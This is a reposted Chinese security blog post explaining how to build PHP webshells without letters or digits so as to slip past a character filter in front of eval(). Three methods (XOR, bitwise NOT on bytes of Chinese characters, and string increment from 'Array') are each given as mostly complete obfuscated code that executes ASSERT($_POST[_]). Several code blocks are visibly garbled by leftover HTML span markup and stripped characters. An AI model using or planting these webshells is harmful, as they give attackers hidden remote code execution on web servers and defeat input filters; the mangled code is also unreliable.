[转]一些不包含数字和字母的webshell

作者:离别歌

正文:

在小密圈提了个问题,“如何编写一个不使用数字和字母的webshell”,并具体成如下代码:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

那么,这个代码如何利用?

思路

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

那么,变换方法 将是解决本题的要点。

不过在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境,PHP7相关的利用方法自己探索吧。

方法一

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

1
2
3
4
5
<?php
$=('%01'^''</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s1">'%13'</span><span class="o">^</span><span class="s1">'').('%13'^''</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s1">'%05'</span><span class="o">^</span><span class="s1">'').('%12'^''</span><span class="p">)</span><span class="o">.</span><span class="p">(</span><span class="s1">'%14'</span><span class="o">^</span><span class="s1">''); // $='assert';
$='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $='POST';
$__=$$;
$($[_]); // assert($POST[]);

执行结果如下:

14871921588272.jpg

方法二

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。

方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

14872686600768.jpg

利用这个特性,我找了一篇文章( https://www.leavesongs.com/THINK/answer.html ),自动选择了其中一些汉字,生成如下答案:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$=('>'>'<')+('>'>'<');
$_=$/$__;

$_='';
$="瞰";$_.=~(${$});$__="和";$_.=~(${$});$_="和";$_.=~(${$});$_="的";$_.=~(${$});$__="半";$_.=~(${$});$__="始";$_.=~(${$__});


$_='';$__="俯";$_.=~($_{$});$="瞰";$__.=~($_{$});$="次";$__.=~(${$});$_="站";$_.=~($__{$});


$=$$__;
$_($[$]);

14871906748025.jpg

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

方法三

那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

14872693882387.jpg

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

14872697183159.jpg

再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$=[];
$=@"$"; // $='Array';
$=$['!'=='@']; // $=$[0];
$=$; // A
$=$;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;
$__.=$; // S
$_.=$; // S
$=$;
$++;$++;$++;$++; // E
$__.=$;
$=$;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; // R
$.=$;
$=$;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; // T
$.=$__;

$_='';
$=$;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; // P
$__.=$;
$=$;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; // O
$__.=$;
$=$_;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; // S
$__.=$;
$=$_;
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; // T
$__.=$__;


$=$$__;
$($[]); // ASSERT($POST[]);

执行结果:

14872701052595.jpg
原文链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

文章作者: Yunen
文章链接: https://www.0x002.com/2017/[转]一些不包含数字和字母的webshell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yunen's Blog

评论